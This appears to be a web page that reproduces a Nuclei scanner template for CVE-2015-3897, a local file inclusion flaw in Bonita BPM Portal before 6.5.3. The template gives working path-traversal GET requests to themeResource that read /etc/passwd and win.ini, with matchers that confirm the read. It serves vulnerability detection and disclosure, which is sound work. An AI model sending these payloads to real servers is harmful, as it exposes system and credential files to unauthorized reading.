CVE-2015-3897: Bonita BPM Portal <6.5.3 - Local File Inclusion

2025-08-01 Bonita BPM Portal PoC Public

Description

Bonita BPM Portal before 6.5.3 allows remote attackers to read arbitrary files via a .. (dot dot) in the theme parameter and a file path in the location parameter to bonita/portal/themeResource.

PoC

id: CVE-2015-3897

info:
  name: Bonita BPM Portal <6.5.3 - Local File Inclusion
  author: 0x_Akoko
  severity: medium
  description: Bonita BPM Portal before 6.5.3 allows remote attackers to read arbitrary files via a .. (dot dot) in the theme parameter and a file path in the location parameter to bonita/portal/themeResource.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade Bonita BPM Portal to version 6.5.3 or later to mitigate the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/132237/Bonita-BPM-6.5.1-Directory-Traversal-Open-Redirect.html
    - https://www.bonitasoft.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-3897
    - https://www.htbridge.com/advisory/HTB23259
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2015-3897
    cwe-id: CWE-22
    epss-score: 0.17681
    epss-percentile: 0.96997
    cpe: cpe:2.3:a:bonitasoft:bonita_bpm_portal:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: bonitasoft
    product: bonita_bpm_portal
  tags: cve2015,cve,unauth,packetstorm,bonita,lfi,bonitasoft,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=etc/passwd"
      - "{{BaseURL}}/bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=Windows/win.ini"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: regex
        regex:
          - "root:[x*]:0:0:"
# digest: 4a0a0047304502210080e8f27d8cdb4696ad14c44018fe22f06b8aaf18aa84d333c2e22200b5a06e4402201ce7909d76f152d8394166ac986d9fe90c9595dbdfc54962fb652f0b680cc2f1:922c64590222798bb761d5b6d8e72950

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